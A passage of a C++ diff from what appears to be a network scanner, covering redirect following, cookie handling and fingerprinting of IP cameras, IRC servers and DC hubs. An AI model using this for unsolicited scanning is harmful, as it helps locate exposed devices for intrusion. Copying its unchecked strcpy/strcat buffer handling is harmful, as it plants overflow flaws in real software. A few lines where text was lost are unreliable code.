= ls->flag; + strcpy(ps->path, tempPath); + delete []cstr.lowerBuff; + ps->port = tempPort; + strcpy(ps->ip, tempIP); + + return ls->flag; + }; + if(ls->flag == 6) + { + ps->flag = ls->flag; + ps->port = tempPort; + return ls->flag; + }; + strcat(ps->headr, " -> "); + strcat(ps->headr, GetTitle(cstr.lowerBuff)); + ls->_header(tempIP, tempPort, cstr.lowerBuff, ls, ps, redirStrLst, buff); + ps->port = tempPort; + + if(strlen(cstr.lowerBuff) < 1) + { + ps->flag = 3; + ls->flag = 3; + } + else if(strstr(cstr.lowerBuff, "[OVERFLOW]") != NULL) + { + ls->flag = 0; + ps->flag = 0; + }; + + delete []cstr.lowerBuff; + } + else + { + ps->flag = -1; + ls->flag = -1; + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Rejecting in _header::redirect [Dead host]."); + }; + return 0; + } + else if(str[0] == '/' || (str[0] == '.' && str[1] == '/') || (str[0] == '.' && str[1] == '.' && str[2] == '/')) + { + char *ptr1 = strstr(str, "/"); + if( strstr(str, "')" ) ) + { + strncpy(tempPath, ptr1, strlen(ptr1) - strlen(strstr(ptr1, "')"))); + } + else if( strstr(str, "\"") ) + { + strncpy(tempPath, ptr1, strstr(str, "\"") - str); + } + else if( strstr(str, "\n") ) + { + strncpy(tempPath, ptr1, strlen(ptr1) - strlen(strstr(ptr1, "\n"))); + } + else + { + if(str[0] == '.' && str[1] == '.') strcpy(tempPath, str + 2); + else if(str[0] == '.') strcpy(tempPath, str + 1); + else strcpy(tempPath, str); + }; + + strcpy(mes, rbuff1); + if(tempPath[0] != '/') strcat(mes, "/"); + strcat(mes, tempPath); + strcat(mes, rbuff2); + strcat(mes, ip); + if(strlen(cookie) != 0) + { + strcat(mes, rbuff3); + strcat(mes, cookie); + }; + strcat(mes, rbuff4); + + conSTR cstr; + cstr.size = 0; + cstr.lowerBuff = NULL; + int cRes = 0; + if(port == 443) cRes = con._EstablishSSLConnection(ip, 443, mes, &cstr); + else cRes = con._EstablishConnection(ip, port, mes, &cstr); + if(cstr.size < 65535) + { + strncpy(buff, cstr.lowerBuff, cstr.size); + } + else + { + strncpy(buff, cstr.lowerBuff, 65535); + }; + if(cRes != -1) + { + strcpy(ps->codepage, GetCodePage(cstr.lowerBuff)); + + ls->flag = ContentFilter(cstr.lowerBuff, port, ip, ps->codepage); + ps->flag = ls->flag; + + if(ls->flag == -1) + { + ps->flag = -1; + strcpy(ps->headr, "[IGNR_ADDR]"); + strcpy(ps->path, tempPath); + delete []cstr.lowerBuff; + + return -2; + }; + if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 + || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) + { + strcat(ps->headr, GetTitle(cstr.lowerBuff)); + ps->flag = ls->flag; + strcpy(ps->path, tempPath); + delete []cstr.lowerBuff; + ps->port = port; + strcpy(ps->ip, ip); + + return ls->flag; + }; + if(ls->flag == 6) + { + ps->flag = ls->flag; + ps->port = tempPort; + return ls->flag; + }; + strcat(ps->headr, "->"); + strcat(ps->headr, GetTitle(cstr.lowerBuff)); + ls->_header(ip, port, cstr.lowerBuff, ls, ps, redirStrLst, buff); + ps->port = tempPort; + if(strlen(cstr.lowerBuff) < 1) + { + ps->flag = 3; + ls->flag = 3; + } + else if(strstr(cstr.lowerBuff, "[OVERFLOW]") != NULL) + { + ls->flag = 0; + ps->flag = 0; + }; + + delete []cstr.lowerBuff; + } + else + { + ps->flag = -1; + ls->flag = -1; + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Rejecting in _header::redirect [Dead host]."); + }; + return 0; + } + else if(strlen(str) > 2) + { + strcpy(tempPath, str); + strcpy(mes, rbuff1); + if(tempPath[0] != '/') strcat(mes, "/"); + strcat(mes, tempPath); + strcat(mes, rbuff2); + strcat(mes, ip); + if(strlen(cookie) != 0) + { + strcat(mes, rbuff3); + strcat(mes, cookie); + }; + strcat(mes, rbuff4); + + conSTR cstr; + cstr.size = 0; + cstr.lowerBuff = NULL; + if(con._EstablishConnection(ip, port, mes, &cstr) != -1) + { + strncpy(buff, cstr.lowerBuff, (cstr.size < 65535 ? cstr.size : 65535)); + strcpy(ps->codepage, GetCodePage(cstr.lowerBuff)); + + ls->flag = ContentFilter(cstr.lowerBuff, port, ip, ps->codepage); + ps->flag = ls->flag; + if(ls->flag == -1) + { + ps->flag = -1; + strcpy(ps->headr, "[IGNR_ADDR]"); + strcpy(ps->path, tempPath); + delete []cstr.lowerBuff; + + return -1; + }; + if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 + || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) + { + strcat(ps->headr, GetTitle(cstr.lowerBuff)); + ps->flag = ls->flag; + strcpy(ps->path, tempPath); + delete []cstr.lowerBuff; + ps->port = port; + strcpy(ps->ip, ip); + + return ls->flag; + }; + if(ls->flag == 6) + { + ps->flag = ls->flag; + ps->port = tempPort; + return ls->flag; + }; + strcat(ps->headr, " -> "); + strcat(ps->headr, GetTitle(cstr.lowerBuff)); + ls->_header(ip, port, cstr.lowerBuff, ls, ps, redirStrLst, buff); + ps->port = tempPort; + + if(strlen(cstr.lowerBuff) < 1) + { + ps->flag = 3; + ls->flag = 3; + } + else if(strstr(cstr.lowerBuff, "[OVERFLOW]") != NULL) + { + ls->flag = 0; + ps->flag = 0; + }; + + delete []cstr.lowerBuff; + } + else + { + ps->flag = -1; + ls->flag = -1; + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Rejecting in _header::redirect [Dead host]."); + }; + return 0; + }; + + return -1; +}; +void _getPopupTitle(PathStr *ps, char *str) +{ + char res[32] = {0}; + + strcat(ps->headr, "[Popup detected. Title: "); + + char *ptr1 = strstr(str, ","); + if(ptr1 != NULL) + { + char *ptr2 = strstr(ptr1 + 1, ","); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1 - 1; + if(sz >= 32) sz = 32; + + strncat(ps->headr, ptr1 + 1, sz < 32 ? sz : 32); + } + else + { + strcat(ps->headr, "[BOUNDARY_ERROR]"); + }; + } + else + { + strcat(ps->headr, "[BOUNDARY_ERROR]"); + }; + + strcat(ps->headr, "]"); +}; +void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int port) +{ + char *ptr1 = strstr(str, tag); + if(ptr1 != NULL) + { + char *ptr2 = _findFirstOcc(ptr1, "=("); + char *ptrSemi = _findFirstOcc(ptr1 + strlen(tag), ".;"); + if(ptr2 != NULL && ptrSemi != NULL) + { + int sz = ptrSemi - ptr2; + if(sz > 2) + { + char *ptrQuote1 = _findFirstOcc(ptr2, "\"'"); + if(ptrQuote1 != NULL) + { + char delim[2] = {0}; + ZeroMemory(delim, 1); + delim[0] = ptrQuote1[0]; + delim[1] = '\0'; + char *ptrQuote2 = strstr(ptrQuote1 + 1, delim); + if(ptrQuote2 != NULL) + { + int lsz = ptrQuote2 - ptrQuote1 - 1; + char link[512] = {0}; + if(lsz < 511) + { + if(ptrQuote1[1] != '/' + && strstri(ptrQuote1, "http://") == NULL + && strstri(ptrQuote1, "https://") == NULL + ) + { + strcpy(dataBuff, "/"); + strncat(dataBuff, ptrQuote1 + 1, lsz); + } + else strncpy(dataBuff, ptrQuote1 + 1, lsz); + }; + }; + }; + }; + } + else + { + stt->doEmitionRedFoundData("[JSLocator] _findFirst failed [" + QString(ip) + ":" + QString::number(port) + "]"); + }; + }; +}; +void _getJSCookie(char *dataBuff, char *str, char *ip, int port) +{ + char *ptr1 = strstri(str, "document.cookie"); + if(ptr1 != NULL) + { + char *ptr2 = _findFirstOcc(ptr1, "\"'"); + if(ptr2 != NULL) + { + char *ptr3 = _findFirstOcc(ptr2 + 1, "\"'"); + if(ptr3 != NULL) + { + int sz = ptr3 - ptr2 - 1; + if(sz < 1024) strncpy(dataBuff, ptr2 + 1, sz); + else + { + stt->doEmitionRedFoundData("[_getJSCookie] Cookie exceeds max value [" + QString(ip) + ":" + QString::number(port) + "]"); + }; + }; + }; + }; +}; +int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std::vector *redirStrLst, char *rBuff) +{ + std::string redirectStr = ""; + if(strstr(str, "Set-Cookie:") != NULL) strncpy(ps->cookie, _getAttribute(str, "Set-Cookie:"), 1024); + +#pragma region Prechecks + if(strstr(str, "[IGNR_ADDR]") != NULL) + { + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Rejecting in _header::Precheck."); + strcpy(ps->headr, "[IGNR_ADDR]"); + strcpy(ps->path, "/"); + return 0; + }; + + strcpy(ps->codepage, GetCodePage(str)); + + if(strstr(str, "[CONN_LOWLOAD_OMG]") != NULL) + { + strcpy(ps->headr, "[CONN_LOWLOAD_OMG]"); + strcpy(ps->path, "/"); + return 0; + }; + + if(strlen(str) == 0) + { + strcpy(ps->headr, "[No data!]"); + strcpy(ps->path, "/"); + return 0; + }; + + char *secondStr, *firstStr, *tempStr, finalstr[512] = {0}; + + if(strstri(str, "notice auth :*** looking up your hostname...") + || strstri(str, "451 * :You have not registered.") + ) + { + strcpy(ps->headr, "[IRC server]"); + strcpy(ps->path, "/"); return 1; + }; + if(strstri(str, "Error - Bad Address")) + { strcpy(ps->headr, str); strcpy(ps->path, "/"); return 0; }; + if(strstri(str, "[OVERFLOW]") != NULL) + { strcpy(ps->headr, "[OVERFLOW]"); strcpy(ps->path, "/"); return 0; }; + if(strstri(str, "site introuvable !") != NULL) + { strcpy(ps->headr, "[Site introuvable !]"); strcpy(ps->path, "/"); return 0; }; + if(strstri(str, "ip camera") != NULL || strstri(str, "+tm01+") != NULL + || strstri(str, "camera web server") != NULL || strstri(str, "ipcam_language") != NULL + || strstri(str, "/viewer/video.jpg") != NULL || strstri(str, "network camera") != NULL + || strstri(str, "sanpshot_icon") != NULL || strstri(str, "snapshot_icon") != NULL + || strstri(str, "lan camera") != NULL || strstri(str, "cgiuserlogin?") != NULL + || strstri(str, "web camera") != NULL || strstri(str, "smart ip device") != NULL + || strstri(str, "pan/tilt camera") != NULL || strstri(str, "/cgi-bin/viewer/getparam.cgi?") != NULL + || strstri(str, "IPCamera") != NULL + ) + { + strcpy(ps->headr, "[IP Camera detected]"); + l->flag = 0; + ps->flag = 0; + }; + if(strstri(str, "get_status.cgi") != NULL) + { strcpy(ps->headr, "[It may be ip camera]"); }; + if(strstri(str, "vo_logo.gif") != NULL + || strstri(str, "vo logo.gif") != NULL + ) + { strcpy(ps->headr, "[VIVOTEK camera detected?]"); }; + if(strstri(str, "$lock extended") != NULL) + { strcpy(ps->headr, "[DChub detected.]"); strcpy(ps->path, "/"); return 0; }; + if(strstri(str, "top.htm?currenttime") != NULL + || strstri(str, "top.htm?") != NULL + ) strcat(finalstr, " [?][SecCam detected]"); +#pragma endregion + +#pragma region 302 Redirects + if( strstri(str, "http/1.0 301") != NULL || strstri(str, "http/1.1 301") != NULL + || strstri(str, "http/1.0 302") != NULL || strstri(str, "http/1.1 302") != NULL + || strstri(str, "303 see other") != NULL + ) + { + char *temp = NULL, *temp2 = NULL; + int res = 127; + if(strstri(str, "location: ") != NULL) + { + temp = strstri(str, "location: "); + if( strstr(temp + 10, "\r\n") != NULL ) temp2 = strstr(temp + 10, "\r\n"); + else if( strstr(temp + 10, "\n") != NULL ) temp2 = strstr(temp + 10, "\n"); + + if(temp2 != NULL) + { + res = temp2 - temp - 10; + char newLoc[128] = {0}; + char *tmp = strstr(temp, "/"); + + if(tmp != NULL) + { + strncat(newLoc, temp + 10, res < 128 ? res : 127); + if(strstr(newLoc, "http://") == NULL && strstr(newLoc, "https://") == NULL) + { + if(newLoc[0] != '.') + { + if(newLoc[0] != '/') + { + char tnewLoc[128] = {0}; + strcpy(tnewLoc, "/"); + strcat(tnewLoc, newLoc); + strcpy(newLoc, tnewLoc); + }; + }; + }; + redirectStr = std::string(newLoc); + if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) + { + redirStrLst->push_back(redirectStr); + redirectReconnect(ps->cookie, ip, port, newLoc, l, ps, redirStrLst, rBuff); + }; + return -2; + }; + }; + } + else if(strstri(str, "location:") != NULL) + { + temp = strstri(str, "location:"); + if( strstr(temp + 9, "\r\n") != NULL ) temp2 = strstr(temp + 9, "\r\n"); + else if( strstr(temp + 9, "\n") != NULL ) temp2 = strstr(temp + 9, "\n"); + + if(temp != NULL) + { + res = temp2 - temp - 9; + char newLoc[128] = {0}; + char *tmp = strstr(temp, "/"); + + if(tmp != NULL) + { + strncat(newLoc, temp + 9, res < 128 ? res : 127); + redirectStr = std::string(newLoc); + if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) + { + redirStrLst->push_back(redirectStr); + redirectReconnect(ps->cookie, ip, port, newLoc, l, ps, redirStrLst, rBuff); + }; + return -2; + }; + }; + }; + }; + if(strstri(str, "http-equiv=\"refresh\"") != NULL + || strstri(str, "http-equiv=refresh") != NULL + || strstri(str, "http-equiv='refresh'") != NULL + ) + { + char *temp = NULL; + char *strTmp = NULL; + + if(strstri(str, "http-equiv=\"refresh\"") != NULL) strTmp = strstri(str, "ttp-equiv=\"refresh\""); + else if(strstri(str, "http-equiv=refresh") != NULL) strTmp = strstri(str, "http-equiv=refresh"); + else if(strstri(str, "http-equiv='refresh'") != NULL) strTmp = strstri(str, "http-equiv='refresh'"); + + if(strstri(strTmp, "url=") != NULL ) + { + if((int)(strstri(strTmp, "url=") - strTmp) < 100) + { + temp = strstri(strTmp, "url="); + + char *temp1 = NULL, *temp2 = NULL, temp3[128] = {0}; + int sz = 0; + + if(temp[4] == '"' || temp[4] == '\'' || temp[4] == ' ' || temp[4] == '\n' || temp[4] == '\r') + { + temp2 = _findFirstOcc(temp + 6, " \n>\"'"); + if(temp2 != NULL) + { + sz = (int)(temp2 - temp) - 5; + strncpy(temp3, (char*)(temp + 5), (sz < 128 ? sz : 127)); + }; + } + else + { + temp2 = _findFirstOcc(temp + 4, " \n>\"'"); + if(temp2 != NULL) + { + sz = (int)(temp2 - temp) - 4; + strncpy(temp3, (char*)(temp + 4), sz < 128 ? sz : 127); + }; + }; + if(strstri(temp3, "http://") == NULL && strstri(temp3, "https://") == NULL) + { + if(temp3[0] != '.') + { + if(temp3[0] != '/') + { + char temp4[128] = {0}; + strcpy(temp4, "/"); + strncat(temp4, temp3, 127); + strncpy(temp3, temp4, 128); + }; + }; + }; + redirectStr = std::string(temp3); + if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) + { + redirStrLst->push_back(redirectStr); + redirectReconnect(ps->cookie, ip, port, temp3, l, ps, redirStrLst, rBuff); + }; + strcat(ps->headr, " "); + return -2; + }; + strcat(ps->headr, finalstr); + strcat(ps->headr, " "); + return 0; + }; + }; + if(strstri(str, "cookie, sizeof(ps->cookie)); + _getJSCookie(ps->cookie, str, ip, port); + }; + char *ptr1 = strstri(str, ""); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1; + char *scriptContainer = new char[sz + 1]; + ZeroMemory(scriptContainer, sz + 1); + strncpy(scriptContainer, ptr1, sz); + memset(scriptContainer + sz, '\0', 1); + + if(strstri(scriptContainer, "location.href") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location.href", ip, port); + else if(strstri(scriptContainer, "window.location") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "window.location", ip, port); + else if(strstri(scriptContainer, "location.replace") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location.replace", ip, port); + else if(strstri(scriptContainer, "location.reload") != NULL) strcpy(linkPtr, "/"); + else if(strstri(scriptContainer, "location") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location", ip, port); + + if(strlen(linkPtr) != 0) + { + redirectStr = std::string(linkPtr); + if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) + { + redirStrLst->push_back(redirectStr); + redirectReconnect(ps->cookie, ip, port, linkPtr, l, ps, redirStrLst, rBuff); + }; + }; + delete []scriptContainer; + if(ps->flag == 1) return -2; + } + else + { + strcat(ps->headr, "[Cannot retrieve \"